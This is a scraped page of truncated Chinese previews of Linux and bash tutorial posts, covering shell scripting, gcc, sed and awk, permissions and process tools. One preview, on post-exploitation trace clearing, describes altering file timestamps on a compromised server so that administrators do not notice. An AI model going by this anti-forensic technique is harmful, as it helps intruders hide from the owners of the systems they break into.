DPDK KNI KNI Kernel NIC Interface 可以通过KNI与内核交互数据包。一些不便于用户态的处理的包可以通过KNI交于内核处理。 DPDK KNI 优势 比 linux TUN/TAP接口更快&#xff0c;减少拷贝让DPDK接口可以使用标准linux网络工具如ifconfig, ethtool, tcpdump等让接口接入内核…

设置shell脚本输出字体颜色

echo -e "/033[32;49;1m [DONE] /033[39;49;0m"输出结果: [DONE] &#xff03;&#xff03;&#xff03;&#xff03;&#xff03;&#xff03;&#xff03;&#xff03;&#xff03;&#xff03;&#xff03;&#xff03;&#xff03;&#xff03;&#xff03;&am…

gcc与makefile

gcc –c hello.c会自动产生hello.o文件&#xff0c;但不会产生二进制执行文件。 gcc –O hello.c –c会自动产生hello.o文件&#xff0c;并对其进行优化。 gcc sin.c –lm –L/usr/lib –I/usr/include 在最终连接成二进制文件的时候常用。 -lm指的是libm.so或libm.a函数库文…

渗透测试-后渗透-痕迹清理

https://mp.weixin.qq.com/s/bc2zKlsQSTMPVMPfQyrXSA 后渗透-痕迹清理Windows修改文件时间戳 登陆到服务器&#xff0c;对它的⽂件进行了修改&#xff0c;修改后的⽂件的时间戳会更新到最新的时间&#xff0c;那么这样就会引起管理员的注意。 那个⽂件的时间戳给修改成其他时间…

第七章 Bash 操作

第七章 Bash 操作 一、 何谓 Bash Bash&#xff08;Bourne Again shell&#xff09;,是目前 Linux 上最流行的 Shell。 Shell&#xff0c;命令语言解释器&#xff08;command-language interpreter&#xff09; Bash 相当于 DOS 系统的 Command.exe。 Linux 上还有一些较流…

【shell脚本】免交互操作

免交互操作 一、Here Document免交互1.1免交互概述1.2语法格式1.3实验 二、Expect2.1脚本格式2.2实验 一、Here Document免交互 1.1免交互概述 使用I/O重定向的方式将命令列表提供给交互式程序或命令&#xff0c;比如 ftp、cat 或 read 命令。是标准输入的一种替代品可以帮助…

使用shift关键字,写一个带二级命令的脚本(如:docker run -a -b -c中的run)

省流&#xff1a;shift关键字 探索思路 最近有一个小小的需求&#xff0c;写一个类似于docker run -a -b -c这样的脚本&#xff0c;这个脚本名为doline&#xff0c;它本身可以执行&#xff08;doline -a -b -c&#xff09;&#xff0c;同时又带有几个如run、init、start这样的…

Linux与bash(基础内容一)

一、常见的linux命令&#xff1a; 1、文件&#xff1a; &#xff08;1&#xff09;常见的文件命令&#xff1a; &#xff08;2&#xff09;文件属性&#xff1a; &#xff08;3&#xff09;修改文件属性&#xff1a; 查看文件的属性&#xff1a; ls -l 查看文件的属性 ls …

如何解决docker中出现的“bash: vim: command not found”

目录 问题描述&#xff1a; 问题解决&#xff1a; 问题描述&#xff1a; 在docker中&#xff0c;想要执行vim编辑文件&#xff0c;弹出“docker bash: vim: command not found“&#xff08;如下图&#xff09;&#xff0c;请问该如何解决&#xff1f; 问题解决&#xff1a; …

【BASH】回顾与知识点梳理(二十四)

【BASH】回顾与知识点梳理 二十四 二十四. 权限规划和身份切换24.1 主机的细部权限规划&#xff1a;ACL 的使用什么是 ACL 与如何支持启动 ACL如何启动 ACL 24.2 ACL 的设定技巧&#xff1a; getfacl, setfaclsetfacl 指令用法介绍及最简单的『 u:账号:权限 』设定getfacl 指令…

bash: /opt/ros/kinetic/setup.bash: 没有那个文件或目录

有时候打开终端的时候&#xff0c;会在第一行报错&#xff1a; bash: /opt/ros/kinetic/setup.bash: 没有那个文件或目录 bash: /opt/ros/melodic/setup.bash: 没有那个文件或目录 bash: /opt/ros/neodic/setup.bash: 没有那个文件或目录 凡是类似报错与bash有关的&#xf…

怎么切换Ubuntu系统的vps的时区?

在Ubuntu系统上切换VPS的时区是相对简单的。这里有一个通用的步骤来修改你的Ubuntu系统的时区&#xff1a; 使用SSH连接到你的VPS。如果你是在Windows上&#xff0c;你可以使用PuTTY。在Mac或Linux上&#xff0c;你可以直接使用内置的终端。 执行以下命令&#xff1a; sudo ti…

运维小白必学篇之基础篇第六集:权限实验

权限实验 实验作业&#xff1a; 1、创建1.txt文件&#xff0c;修改1.txt文件权限为属主最大&#xff0c;属组读写&#xff0c;其他人无权限 2、单独为1.txt文件的属组赋予执行权限 3、修改1.txt的属组为a1 4、修改用户a2的登录shell为/bin/bash 5、创建a1用户&#xff0c;设置…

shell编程lesson11

计算机程序其实就是处理数据。很多编程问题需要使用到更小的数据单元&#xff0c;例如字符串和数字。shell提供了多种字符串操作的参数扩展。除了算术扩展&#xff0c;还有一个常见的叫做bc的命令行程序&#xff0c;它能执行更高层次的数学运算。 参数扩展&#xff08;Paramet…

【Linux基础及shell脚本】Linux操作命令

文章目录 1. 系统帮助命令1.1 man 命令1.2 help 命令1.3 命令 --help1.4 type 命令 2. 系统关机命令2.1 shutdown -h now2.2 shutdown -h 10 3. 系统重启命令3.1 shutdown -r now 4. 系统服务管理命令4.1 systemctl start sshd4.2 systemctl stop sshd4.3 systemctl restart ss…

【Linux | Shell】bash shell 基础命令

目录 一、概述二、启动shell2.1 用户的默认 Shell 程序2.2 Shell 提示符 三、 基础命令3.1、man 命令3.2、cd 命令3.3、ls命令 一、概述 很多 Linux 发行版的默认 shell 是 GNU bash shell。本文将介绍 bash shell 的基本特性&#xff0c;比如 bash 手册、命令行补全以及如何显…

Linux:Linux操作系统流程控制语句-if语句使用介绍

Linux操作系统流程控制语句-if语句使用介绍 本博客将介绍Linux操作系统中的流程控制语句-if语句的使用方法。我们将详细介绍单分支语句、双分支语句和多分支语句的结构和用法。此外&#xff0c;还会介绍文件比较、整数比对、字符对比和正则表达式的使用。通过学习这些内容&…

linux zip命令打包文件,数量过多时的解决方案bash: /usr/bin/zip: Argument list too long

一 相关背景 在文件夹a里面有20万个aac文件&#xff0c;以及20万txt文件&#xff0c;我想要打包其中的aac文件为zip使用命令zip aa.rar folder/*.aac&#xff0c;然后遇到了提示bash: /usr/bin/zip: Argument list too long 原因是因为其中文件过多&#xff0c;超过了zip的处…

shell 面试题汇集

利用 top 取某个进程的 CPU 的脚本 : st1\:*{behavior:url(#ieooui) } <!-- /* Font Definitions */ font-face {font-family:宋体; panose-1:2 1 6 0 3 1 1 1 1 1; mso-font-alt:SimSun; mso-font-charset:134; mso-generic-font-family:auto; mso-font-pitch:variable; m…

脚本中调用ffmpeg命令给图片添加水印

#!/bin/bash infileinfile.jpg outfileoutfile.jpg fontSourceHanSansCN-Bold.ttf fontSize40 wm测试-测试-123aB测试1234测试#测试 mf测试-1970-01-01#w、h 表示原图的宽、高&#xff1b;tw、th 表示文本宽高&#xff1b;ffmpeg -i $infile -vf drawtext"fontcolorwhite:…

处理Apache日志的Bash脚本

转自http://www.ruanyifeng.com/blog/2012/01/a_bash_script_of_apache_log_analysis.html 去年一年&#xff0c;我写了将近100篇网络日志。 现在这一年结束了&#xff0c;我要统计"访问量排名"&#xff0c;看看哪些文章最受欢迎。 以往&#xff0c;我用的是AW…

Linux笔记1:Linux命令行基础

基本概念 Shell与Bash: 用户>服务程序>系统调用接口>内核>硬件 硬件设备由系统内核直接管理,但由于内核的复杂性太高,在访问时存在较大的风险,因此用户不能直接访问内核。Shell是终端程序的统称,充当了人与内核(硬件)的“翻译官”,会根据用户的命令去调用…

Argument list too long分析

这两天在Android eclair版本上增加WML浏览功能&#xff0c;编译时总是出现Argument list too long的错误。WebKit里源文件太多&#xff0c;没有WML时还可以编译过去&#xff0c;但加上了WML之后&#xff0c;命令行参数确实很长了&#xff0c;ar后面跟的参数大概都有几百K。奇怪…

shell中的单引号和双引号理解

问题描述: 最近在写shell脚本的时候&#xff0c;涉及到一个使用shell脚本发送json数据的问题&#xff0c;就是发送的json数据双引号不见了&#xff0c;导致数据格式不正确,收到了错误的响应。后来仔细查看了资料才发现自己之前对shell单引号和双引号的理解有一些问题&#xff0…

[解决办法] Linux 服务器进程退出了,但是显存占用

[问题描述] 在Linux服务器上跑Caffe、TensorFlow、pytorch之类的需要CUDA的程序时&#xff0c;强行Kill掉进程后发现显存仍然占用 [解决办法] 使用如下命令查看到top或者ps中看不到的进程&#xff0c;之后再kill掉&#xff1a; fuser -v /dev/nvidia*接着杀掉显示出的进程&…

bash初始化文件(Debian Linux)

转载出处&#xff1a; http://blog.chinaunix.net/uid-20507571-id-1660969.html &#xff08;1&#xff09;/etc/profile 全局&#xff08;公有&#xff09;配置&#xff0c;不管是哪个用户&#xff0c;登录时都会读取该文件。 &#xff08;2&#xff09;/ect/bashrc Ubuntu没…

【Linux | Shell命令】bash shell 进程、磁盘、文件处理命令

目录 &#x1f384;一、概述&#x1f384;二、进程相关命令✨2.1 ps 命令 —— 查看进程✨2.2 top 命令 —— 实时监测进程✨2.3 kill、pkill 命令 —— 结束进程 &#x1f384;三、磁盘相关命令✨3.1 mount、umount 命令 —— 挂载、卸载命令✨3.2 df 命令 —— 查看磁盘空间✨…

邮件服务器3—用户认证收发

邮件服务器—用户认证收发 文章目录邮件服务器—用户认证收发一、装包二、修改配置1、修改dovecot服务2、修改10-mail.conf 配置文件3、配置sasl服务三、重启服务四、关闭防火墙五、在Windows上收发邮件1、在window上安装foxmail软件2、新建账户3、发送邮件六、查看日志与状态1…

linux将miniconda移去其它位置

linux 机上将 miniconda 的文件夹从 /data/itom/miniconda3 移去 /share/itom/miniconda3&#xff1a; mv /data/itom/miniconda3 /share/itom/之后需要改一系列路径&#xff0c;参考 [1]。因为要改多个文件&#xff0c;遂写个脚本批量改。 ~/.bashrc ~/.bashrc 中 conda 写…

策略模式优雅实践

1 什么是策略模式 策略模式&#xff08;Strategy Pattern&#xff09;是一种常用的面向对象设计模式&#xff0c;它定义了一系列可互相替换的算法或策略&#xff0c;并将每个算法封装成独立的对象&#xff0c;使得它们可以在运行时动态地替换。具体来说&#xff0c;策略模式定义…

linux bash脚本编程

bash脚本语言是一种解释性语言&#xff0c;执行时通过解释器执行&#xff0c;不需要编译。 一、变量 本地变量&#xff1a;使用格式为varname值&#xff0c;本地变量的声明周期为整个脚本进程 局部变量&#xff1a;使用格式为local varname值&#xff0c;局部变量的声明周期为…

解决Error: No such file or directory @ rb_sysopen

mac使用brew安装openvpn时出现报错 Error: No such file or directory rb_sysopen原因是ca-certificates依赖包下载不成功&#xff0c;使用brew单独下载该依赖包即可&#xff1a; brew install ca-certificates该依赖包安装完成后再下载openvpn brew install openvpn

Linuxshell脚本之菜单以及函数

目录 一、菜单 1.查看菜单格式 2.简单菜单小脚本 二、函数 1.作用 2.基本格式 3.查看函数 4.删除函数 5. 函数的返回值 6.函数的传参数 7. 函数变量的作用范围 8.递归 三、数组 1.定义数组格式 2. 数组类型包括 四、 总结 一、菜单 1.查看菜单格式 [rootlo…

linux系统观察进程命令ps、top

1、ps [rootlinux ~]# ps aux [rootlinux ~]# ps -lA [rootlinux ~]# ps axjf -A&#xff1a;所有的进程都显示出来&#xff0c;与-e具有同样的作用 -a&#xff1a;与终端无关的所有进程 -u&#xff1a;有效用户&#xff08;effective user&#xff09;的相关进程 x &#xff1…

bash中变量自增

bash中变量自增 1. iexpr $i 1;2. let i1;3. ((i));4. i$[$i1];5. i$(( $i 1 ))

Linux的find命令

文章目录find语法例子Linux find 命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时&#xff0c;不设置任何参数&#xff0c;则 find 命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。find语法…

shell空格

shell脚本中有些地方需要空格&#xff0c;有些不需要。持续总结一下 一定要空格的地方&#xff1a; 1.[ expr ]语句中以及expr跟[]之间&#xff0c;如下例 2. expr 运算语句中 如 #!/bin/bash if [ $# -eq 2 ]; then echo "parameter 1 add parameter 2 is expr $1$…

Linux的shell编程的变量

内部头文件 文件的内部头文件&#xff1a;#&#xff01;/bin/bash指定解释器 变量 1、常见系统变量&#xff1a;$HOME、$PWD、$SHELL、$USER。 2、自定义系统变量名&#xff1a; 1&#xff09;定义变量&#xff1a; 变量值 2&#xff09;撤销变量&#xff1a;uset 变量 3&am…

gcc生成静态库和动态库

gcc生成静态库和动态库 一、库文件简介 简单地说&#xff0c;库&#xff08;Library&#xff09;就是一组已经写好了的函数和变量、经过编译代码&#xff0c;是为了能够提高开发效率和运行效率而设计的。库分为静态库&#xff08;Static Library&#xff09;和共享库&#xf…

shell基础一:文件安全与权限

本文主要有以下内容&#xff1a; 文件权限位基本命令chmodsuid/guidchownchgrpumask算法和用法符号链接当创建一个文件的时候&#xff0c;系统保存了有关该文件的全部信息&#xff0c;包括&#xff1a;" 文件的位置。" 文件类型。" 文件长度。" 哪位用户拥…

cygwin的安装和简单配置

windows和linux各有其优越性&#xff0c;可以安装在同一台电脑上&#xff0c;但切换要重启。同时拥有两台电脑&#xff0c;一台装win&#xff0c;一台装linux&#xff0c;自然非常好&#xff0c;但具备此条件的不多。本文介绍cygwin&#xff0c;它可以让你在win下拥有linux…

查看 PowerShell 版本

一、环境说明 系统&#xff1a;Windows 10 Home 1909 二、查看演示 1、命令 $PSversionTable.PSVersion2、执行结果 三、相关连接 官方教程PowerShell 文档

大数据平台搭建实训报告(思路而已)

目录 1.环境准备 1.1实验目的 1.2实践操作 2.部署HDFS 2.1实验步骤 2.2实践操作 3.实验三 HDFS shell操作 3.1实验目的 3.2实践操作 3.2.1练习对HDFS文件创建、查看、删除、复制、粘贴等文件操作 3.2.2练习本地文件与HDFS文件的上传与下载 3.2.3练习HDFS文件权限修…

shell之here-document

多行处理 比如通过ftp下载文件 #!/usr/bin/env bash usernametest pwd123ftp 127.0.0.1 <<EOF user $username password $pwd binary get filename quit EOF命令 <<结束标记 ... 结束标记结束标记包裹的内容会自动进行变量替换、命令替换等 原样输出 如果只想原…

【PHP的设计模式】

PHP的设计模式 一、策略模式二、工厂模式三、单例模式四、注册模式五、适配器模式六、观察者模式 一、策略模式 策略模式是对象的行为模式&#xff0c;用意是对一组算法的封装。动态的选择需要的算法并使用。 策略模式指的是程序中涉及决策控制的一种模式。策略模式功能非常强…

【Linux命令行与Shell脚本编程】第十八章 文本处理与编辑器基础

Linux命令行与Shell脚本编程 第十八章 文本处理与编辑器基础 文章目录 Linux命令行与Shell脚本编程第十八章 文本处理与编辑器基础 文本处理与编辑器基础8.1.文本处理8.1.1.sed编辑器8.1.1.1.在命令行中定义编辑器命令8.1.1.2.在命令行中使用多个编辑器命令8.1.1.3.从文件中读…

【BASH】回顾与知识点梳理(十八)

【BASH】回顾与知识点梳理 十八 十八. 条件判断式18.1 利用 test 指令的测试功能文件类型判断文件权限侦测两个文件之间的比较两个整数之间的判定判定字符串的数据多重条件判定 18.2 利用判断符号 [ ]18.3 Shell script 的默认参数($0, $1...)shift&#xff1a;造成参数变量号码…

【BASH】回顾与知识点梳理(十四)

【BASH】回顾与知识点梳理 十四 十四. 文件与目录的默认权限与隐藏权限14.1 文件预设权限&#xff1a;umaskumask 的利用与重要性&#xff1a;专题制作 14.2 文件隐藏属性chattr (配置文件案隐藏属性)lsattr (显示文件隐藏属性) 14.3 文件特殊权限&#xff1a; SUID, SGID, SBI…

【SHELL】LINUX覆盖文件内容为指定内容脚本

覆盖/etc/yum.repos.d/zabbix.repo文件内容为以下 cat <<EOF > /etc/yum.repos.d/zabbix.repo [zabbix] nameZabbix Official Repository - \$basearch baseurlhttps://mirrors.aliyun.com/zabbix/zabbix/4.0/rhel/7/\$basearch/ enabled1 gpgcheck1 gpgkeyfile:///e…

ubuntu无法上网

网络重置 sudo nmcli networking off sudo nmcli networking on参考 https://itsfoss.com/restart-network-ubuntu/#:~:textRestart%20network%20in%20Ubuntu%20using%20command%20line%20If,at%20your%20disposal%20to%20restart%20network%20in%20Ubuntu.

【BASH】回顾与知识点梳理(三十三)

【BASH】回顾与知识点梳理 三十三 三十三. 认识系统服务 (daemons)33.1 什么是 daemon 与服务 (service)早期 System V 的 init 管理行为中 daemon 的主要分类 (Optional)systemd 使用的 unit 分类systemd 的配置文件放置目录systemd 的 unit 类型分类说明 33.2 透过 systemctl…

Bash脚本入门

新建一个脚本的基本流程为 新建脚本文件&#xff08;后缀为sh&#xff09;touch script.sh打开并修改脚本文件open script.sh or emacs script.sh修改脚本文件的权限&#xff08;增加可执行权限&#xff0c;x代表execute&#xff09;chmod x script.sh 注意事项&#xff1a; …

一些简单的shell实例

文章目录1. for2. array3. function4. 读文件的综合示例1. for [rootiZ2zedqr9yeos47fg4uor5Z shellscript]# cat for.sh #!/bin/bash echo for var in a b c d e doecho $var done [rootiZ2zedqr9yeos47fg4uor5Z shellscript]# ./for.sha b c d e2. array [rootiZ2zedqr9ye…

Shell 用for循环和while遍历日期

Shell执行任务时有时需要对hive表做遍历操作并按照dt进行分区&#xff0c;dt数较少时可以采用for循环&#xff0c;但有时需要对一个时间段内的日期进行遍历&#xff0c;这时候就可以使用while对日期进行遍历。 下面分别采用for循环和while循环对日期进行遍历&#xff1a; For…

智能文件改名,一键与上上级目录名称同步,让文件整理更加便捷

在整理文件时&#xff0c;经常会遇到需要将文件名称与上上级目录名称保持一致的情况。手动逐个修改文件名不仅费时费力&#xff0c;还容易出错。现在&#xff0c;我们为你带来了一款智能文件改名工具&#xff0c;让你能够一键将文件名称改成跟上上级目录名称一样&#xff0c;让…

linux shell函数返回值问题

在linux shell脚本中使用函数时&#xff0c;需要注意函数返回后&#xff0c;返回值的使用&#xff0c;不然很容易出问题。具体来说&#xff0c;shell脚本函数通过return返回后&#xff0c;返回值会保存在$?中。需要注意的是&#xff0c;$?会在函数返回后很快变回0值&#xff…

Linux常用统计命令之wc

1&#xff0e;命令格式&#xff1a;wc [选项]文件... 2&#xff0e;命令功能&#xff1a; 统计指定文件中的行数、字符数&#xff0c;字节数&#xff0c;并将统计结果显示输出。如果没有给出文件名&#xff0c;则从标准输入读取。wc同时也给出所指定文件的总统计数。 3&#xf…

【BASH】回顾与知识点梳理(三十七)

【BASH】回顾与知识点梳理 三十七 三十七. 基础系统设定与备份策略37.1 系统基本设定网络设定 (手动设定与 DHCP 自动取得)手动设定 IP 网络参数(nmcli)自动取得 IP 参数(dhcp)修改主机名(hostnamectl) 37.2 日期与时间设定时区的显示与设定时间的调整用 ntpdate 手动网络校时 …

python执行bash命令

1、执行bash命令 import os os.system(ls -al)2、执行bash脚本 os.system(sh ./test.sh)3、脚本中带参数 arg1111 arg2222 os.system(sh ./test.sh arg1 arg2)//参数前后要有空格

设置Linux CentOS7桥接模式连网

在虚拟机上安装centos7系统后&#xff0c;首要任务就是设置网络。 我们在文章《设置linux centos7连接网络》中讨论了如何设置NAT模式连网。本文讨论如何在设置好NAT模式后&#xff0c;调换为桥接模式。 仍采用图形化方式设置方法。 一、查看物理机网络 把虚拟机设置为桥接…

Linux常用的系统命令

\2. 常用系统工作命令 常用系统工作命令 echo 命令描述&#xff1a;echo命令用于在终端输出字符串或变量提取后的值。 命令格式&#xff1a;echo [字符串 | $变量] 命令用法示例&#xff1a; 显示普通字符串显示变量 首先在shell环境中定义一个临时变量name。 export n…

Bash代码注入安全漏洞{Cool}

Coolshell.cn [童鞋们&#xff0c;移步过去coolshell看吧&#xff0c;这里只是备份下&#xff0c;因为我觉得酷壳的文章表达都很清晰易懂&#xff0c;毫无赘述&#xff0c;而且语言流畅&#xff0c;我喜欢的我就想多备份下] 很多人或许对上半年发生的安全问题“心脏流血”&…

starting container process caused “exec: \“/bin/bash\“: stat /bin/bash: no such file or directory

一、问题内容 登录到K8S单个部署的容器中时&#xff0c;登出虚线报错。 kubectl -n prod mytest -it test-web /bin/bash完整报错信息 [rootlydtest01 ~]$ kubectl -n prod mytest -it test-web /bin/bash kubectl exec [POD] [COMMAND] is DEPRECATED and will be remove…

Linux centos7创建文件

在系统中创建文件或目录&#xff0c;是最基本的操作&#xff0c;也是经常遇到的操作。本文仅关注普通文件的创建。 最简单的情况是创建一个空文件。但有时&#xff0c;根据实际情况&#xff0c;我们需要创建多个空文件&#xff0c;创建多个相同内容的文件&#xff0c;有时又可…

shell脚本之sed命令

shell脚本之sed命令 sed 命令的一些常用选项sed 命令的一些常用命令具体例子 sed 在 Shell 脚本中非常常用&#xff0c;可以用于文本替换、插入、删除等操作。 以下是 sed 命令的基本语法&#xff1a; sed [选项] 命令 [文件...]其中&#xff0c;选项是可选的&#xff0c;可以…

使用 Microchip SAM9X60 OTP 存储板卡的MAC地址和序列号

1. 介绍 SAM9X60 处理器有部分OTP&#xff08;One Time Programming&#xff09; Aera 可用于存储user data&#xff0c;这样的话我们就可以将板卡 MAC Address和 SN 序列号写到固定的OTP User Area中。 为什么要使用 OTP 区域存储MAC地址和序列号呢&#xff1f;答案是为了省钱…

Linux通配符

通配符 *匹配任意多个字符&#xff08;包括零个或一个&#xff09;?匹配任意一个字符&#xff08;不包括零个&#xff09;[characters]匹配任意一个属于字符集中的字符[!characters]匹配任意一个不是字符集中的字符[[:class:]]匹配任意一个属于指定字符类中的字符 字符类 […

shell语法(一)

文章目录 概论脚本示例运行方式 注释单行注释多行注释 变量定义变量使用变量删除变量变量类型字符串 默认变量文件参数变量其它参数相关变量 数组定义读取数组中某个元素的值读取整个数组数组长度 概论 shell是我们通过命令行与操作系统沟通的语言。 shell脚本可以直接在命令行…

Linux基础指令(六)

目录 前言1. man 指令2. date 指令3. cal 指令4. bc 指令5. uname 指令结语&#xff1a; 前言 欢迎各位伙伴来到学习 Linux 指令的 第六天&#xff01;&#xff01;&#xff01; 在上一篇文章 Linux基本指令(五) 中&#xff0c;我们通过一段故事线&#xff0c;带大家感性的了…

第0次 序言

突然想起有好多书没有看&#xff0c;或者看了也没留下任何记录&#xff0c;以后有空必须得好好整理才行&#xff0c;这次就从《Linux命令行和shell脚本编程大全开始》 本文完全是闲聊&#xff0c;自娱自乐&#xff0c;我觉得做开发是一件很快乐的事情&#xff0c;但是工作是开发…

bash上下键选择选项demo脚本

效果如下&#xff1a; 废话不多说&#xff0c;上代码&#xff1a; #!/bin/bashoptions("111" "222" "333" "444") # 选项列表 options_index0 # 默认选中第一个选项 options_len${#options[]}echo "请用上下方向键进行选择&am…

Git Bash(一)Windows下安装及使用

目录 一、简介1.1 什么是Git&#xff1f;1.2 Git 的主要特点1.3 什么是 Git Bash&#xff1f; 二、下载三、安装3.1 同意协议3.2 选择安装位置3.3 其他配置&#xff08;【Next】 即可&#xff09;3.4 安装完毕3.5 打开 Git Bash 官网地址&#xff1a; https://www.git-scm.com/…

Tmux:终端复用器的基本使用(三)

相关阅读 Tmuxhttps://blog.csdn.net/weixin_45791458/category_12472796.html?spm1001.2014.3001.5482 在之前的两篇文章中&#xff0c;已经给出了关于tmux中会话和窗口相关的常用命令&#xff0c;在这篇文章中&#xff0c;窗格相关的命令将会被给出。 将一个窗格水平和垂直…

《红蓝攻防对抗实战》七.常规反弹之利用NC在Linux系统执行反弹shell

目录 一.利用NC工具在linux执行反弹shell 1.Linux正向连接shell 2.利用Linux自带bash反弹Shell 前文推荐&#xff1a; 《红蓝攻防对抗实战》一. 隧道穿透技术详解《红蓝攻防对抗实战》二.内网探测协议出网之TCP/UDP协议探测出网《红蓝攻防对抗实战》三.内网探测协议出网之H…

解决SpringBoot项目端口被占用的问题

问题描述&#xff1a; 在Window环境下&#xff0c;运行SpringBoot 项目时&#xff0c;出现端口被占用的问题&#xff1a; 解决方案&#xff1a; 1. 查看对应端口的进程号 netstat -ano | findstr 80802. 查看对应进程号的信息 tasklist | findstr 477963. 根据进程号 kill 进程…

049-第三代软件开发-软件部署脚本(一)

第三代软件开发-软件部署脚本(一) 文章目录 第三代软件开发-软件部署脚本(一)项目介绍软件部署脚本(一)其他方式 关键字&#xff1a; Qt、 Qml、 bash、 shell、 脚本 项目介绍 欢迎来到我们的 QML & C 项目&#xff01;这个项目结合了 QML&#xff08;Qt Meta-Object…

Linux执行脚本报错:-bash: ./bin/start.sh: /bin/bash^M: 坏的解释器: 没有那个文件或目录

问题描述 执行jar包启动脚本&#xff0c;提示-bash: ./bin/start.sh: /bin/bash^M: 坏的解释器: 没有那个文件或目录 原因分析&#xff1a; 脚本文件在windows下编辑过&#xff0c;windows下每一行的结尾是\n\r&#xff0c;而在linux下文件的结尾是\n&#xff0c;那么在windo…

【Linux编程Shell自动化脚本】03 shell四剑客(find、sed、grep、awk)

文章目录 一、find1. 常用expression2. 时间参数3. 其他选项参数3.1 查找深度3.2 执行命令 二、sed1. 常用命令选项2. 常用动作脚本命令2.1 s 替换2.2 已匹配字符串标记&2.3 在当前行前后插入文本 a\ 和 i\2.4 p 打印指定行2.5 匹配行的方式2.5.1 以数字形式指定行区间2.5.…

linux中实现自己的bash

&#x1f436;博主主页&#xff1a;ᰔᩚ. 一怀明月ꦿ ❤️‍&#x1f525;专栏系列&#xff1a;线性代数&#xff0c;C初学者入门训练&#xff0c;题解C&#xff0c;C的使用文章&#xff0c;「初学」C &#x1f525;座右铭&#xff1a;“不要等到什么都没有了&#xff0c;才下…

【shell脚本】全自动完成pxe无人值守批量装机脚本,匹配centos系列

本脚本采用的是搭建ftp服务器、tftp服务器、dhcp服务器来完成文件的传输 ks应答文件为最小化安装&#xff0c;免去图形化&#xff0c;可以实现一键装机~~ #!/bin/bash yum -y install tftp-server dhcp vsftpd syslinux &> /dev/null ###脚本说明&#xff1a;需要输入…

shell 判断文件是否存在(csh bash)

文章目录 前言1. -e 判断文件是否存在2. -f 判断文件是否存在且为普通文件3. -d 判断文件是否存在且为目录3. -s 判断文件是否存在且不为空4. -r 判断文件是否存在且可读5. -w 判断文件是否存在且可写6. -x 判断文件是否存在且可执行 前言 Shell 编程能提升我们工作效率&#…

策略模式,一种广泛应用于各种情况的设计模式(设计模式与开发实践 P5)

文章目录 策略模式实现思想实战 - 表单 策略模式 定义&#xff1a;定义一系列算法&#xff0c;把它们一个个封装起来&#xff0c;并且可以互相替换 例如&#xff0c;我们要计算年终奖&#xff0c;年终奖根据绩效 A、B、C 来计算最终数值 实现 最初我们很容易想到用 分支 if…

ros2学习笔记:shell环境变量脚本setup.bash[-z][-n][-f]参数作用

-n作用 [ -n 字符串 ] or [ 字符串 ] 字符串的长度为非零&#xff08;有内容&#xff09;则为真。加-n与不加-n结果相同。 -z作用 [ -z 字符串 ] 字符串的长度为零则为真。 字符串为空即NULL时为真&#xff0c;与上面的-n相反。 -f作用 [ -f FILE ] 如果 FILE 存在且是一…

【shell】正则表达式和文本三剑客之grep和awk

目录 一、正则表达式 1.1用法 1.2表示字符匹配 1.3表示次数 1.4表示位置锚定 1.5表示分组或其他 1.6扩展正则表达式 二、grep命令 三、awk命令 3.1awk与vim的区别 3.2awk的语法 3.3基础用法 test1.提取磁盘的分区利用率 test2.提取用户名和uid号 test3.提取ip地址…

BASH shell脚本篇3——字符串处理

这篇文章介绍下BASH shell中的字符串处理的相关命令。之前有介绍过shell的其它命令&#xff0c;请参考&#xff1a; BASH shell脚本篇1——基本命令 BASH shell脚本篇2——条件命令 Bash字符串也是一种数据类型&#xff0c;它用于表示文本而不是数字&#xff0c;它是一组可能…

Linux CentOS7 vim寄存器

计算机中通常所说的寄存器Register一般指的是CPU中的寄存器&#xff0c;用来暂存CPU处理所需要的指令、数据等。 vim中同样也有寄存器&#xff0c;使用的方式和CPU非常类似。 vim中的寄存器(register)作用和windows中的剪切板类似&#xff0c;不过vim中的寄存器不止一个&…

16. 常用shell之 sort - 排序文本文件中的行 的用法和衍生用法

sort 命令是 Linux 和 Unix 系统中用于排序文本文件行的工具。它可以根据文本文件中的内容进行排序&#xff0c;是文本处理中非常有用的命令。 基本用法 默认排序: 命令&#xff1a;sort filename功能&#xff1a;按照字符编码顺序&#xff08;通常是 ASCII&#xff09;排序文…

x-cmd pkg | gum - 很好看的终端 UI 命令行工具

目录 简介首次用户功能特点Bubbles 与 Lip Gloss进一步探索 简介 gum 由 Charm 组织于 2022 年使用 Go 语言开发。旨在帮助用户编写 Shell 脚本与 dotfiles 时提供一系列快捷使用&#xff0c;可配置&#xff0c;可交互&#xff0c;美观的 Terminal UI 组件。 首次用户 使用 x…

bash工具-dir_util.sh

#!/usr/bin/env bash#以pwd和当前脚本路径名$0 结合 给出 当前脚本所在目录名、当前脚本名 #调用者应该在切换目录之前调用本函数, 即 尽可能早的调用本脚本. # 若 调用者 切换到其他目录后&#xff0c;调用本脚本 则结果肯定不对. # 使用例子: getCurScriptDirName $0 #返…

git仓库太大只下载单个文件或文件夹

有没有这样的苦恼&#xff1a;仓库太大&#xff0c;只想下载其中某些文件(夹)&#xff1f; 一招解决&#xff1a; ./down_folder_from_git.sh https://github.com/facebook/infer main Makefile FILES.md scripts examples ./down_folder_from_git.sh https://github.com/Ten…

bash例子-source进程替换、alias不生效处理

#1. source 例子&#xff0c; 进程替换source <(echo alias zls"ls") #上一行 中 echo替换为cat&#xff0c;则得到如下行, 好处是 cat不用处理引号转义问题&#xff0c;而echo则必须处理引号转义问题#写一段复杂脚本&#xff0c;且 不处理引号转义问题 &#x…

#!/bin/sh和#!/bin/bash的区别

前言&#xff1a;都是脚本文件中的 shebang&#xff08;也称为 hashbang&#xff09;行&#xff0c;用于指定脚本文件的解释器 解释&#xff1a; #!/bin/sh&#xff1a;这行告诉操作系统使用 /bin/sh 这个解释器来执行脚本。/bin/sh 是一个标准的 Unix Shell&#xff0c;通常是…

Sy6 编辑器vi的应用(+shell脚本3例子)

实验环境&#xff1a; 宿主机为win11&#xff0c;网络&#xff1a;10.255.50.5 6389 WSL2 ubuntu 目标机的OS&#xff1a;Ubuntu 内核、版本如下&#xff1a; linuxpeggy0223:/$ uname -r 5.15.146.1-microsoft-standard-WSL2 linuxpeggy0223:/$ cat /proc/version Linux vers…

二、CentOS基础配置(2.权限与文本管理(vi))

